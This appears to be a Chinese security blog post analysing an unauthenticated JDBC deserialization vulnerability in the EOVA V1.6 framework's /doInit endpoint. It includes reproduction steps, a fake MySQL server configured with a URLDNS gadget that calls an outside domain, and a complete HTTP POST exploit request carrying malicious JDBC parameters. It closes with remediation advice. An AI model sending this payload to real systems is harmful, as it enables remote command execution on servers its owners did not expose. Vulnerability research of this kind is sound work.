EOVA是一个基于JFinal开发平台的快速开发框架,旨在提供高效、易用的开发工具和组件,以简化开发过程。其设计理念是“简单才是高科技”,强调通过简化开发流程来提高效率,降低开发成本。 EOVA存在JDBC反序列化漏洞,由于JDBC连接mysql服务器的时候,参数完全可控,可传入恶意配置和恶意mysql服务器地址,导致反序列化漏洞。攻击者可利用该漏洞执行任意命令。
`Eova V1.6
这块漏洞的成因是 JDBC 连接 mysql 服务器的时候,参数完全可控,可传入恶意配置和恶意 mysql 服务器地址,导致反序列化漏洞。
从 gitee
看到有师傅提了漏洞在doInit
接口
从代码中可以找到他的实现类 eova-1.6-beta5.jar! com.eova.core.IndexController#doInit
很明显可以看到获取请求中的一些参数,然后把拼接到 local_url
变量
然后跟进 JdbcUtil.initConnection
函数,这函数作用就是获取 MySQL 驱动建立和数据库的连接
我们可以调试一下,在 doInit
函数打上断点,发起请求
可以看到和我们分析的一样,这块需要注意的 poc
中的 &
需要 url
编码,在最后可以通过 #
来注释后边的内容
之后再来分析一下鉴权,这块使用的是 JFinal
这个国产框架
从拦截器中我们看到回去匹配 excludes
中的接口直接放行
然后 doInit
这个接口就在其中
1、下载源码
https://gitee.com/eova/eova/repository/archive/V1.6-beta5.zip
2、建库
sql\\mysql\\demo.sql+eova.sql 分别创建demo和eova两个库,DB编码UTF-8
3、修改配置
src\\main\\resources\\default\\jdbc.config 修改JDBC配置
4、使用 Maven
加载其所需的依赖
5、Windows 操作系统双击 Maven-Windows-Run-Eova. Bat
6、获取秘钥
使用工具:https://github.com/fnmsd/MySQL_Fake_Server
Yakit
生成一个域名
修改配置文件
"yso":{
"URLDNS":\["URLDNS","http://ryzyfacocf.dgrh3.cn"\]
}
启动脚本
POC
POST /doInit HTTP/1.1
Host:
Sec-Fetch-Dest: document
Cache-Control: max-age=0
Sec-Fetch-User: ?1
Sec-Fetch-Site: none
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Mode: navigate
Cookie: JSESSIONID=1diwaoe2lud2k1w5bzj9gy0r9v; \_jfinal\_captcha=ec1807bb391d443f9730b7b18384157a
sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
ip=127.0.0.1:3333%2Ftest%3FautoDeserialize=true%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%26user=URLDNS%26Yu9=Yu9%23&port=&username=root&password=123456
发送之后
漏洞的成因就是因为 JDBC
的 url
可控,修复建议更新 jdbc
驱动或新增 jdbc
url
参数黑名单!
3 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!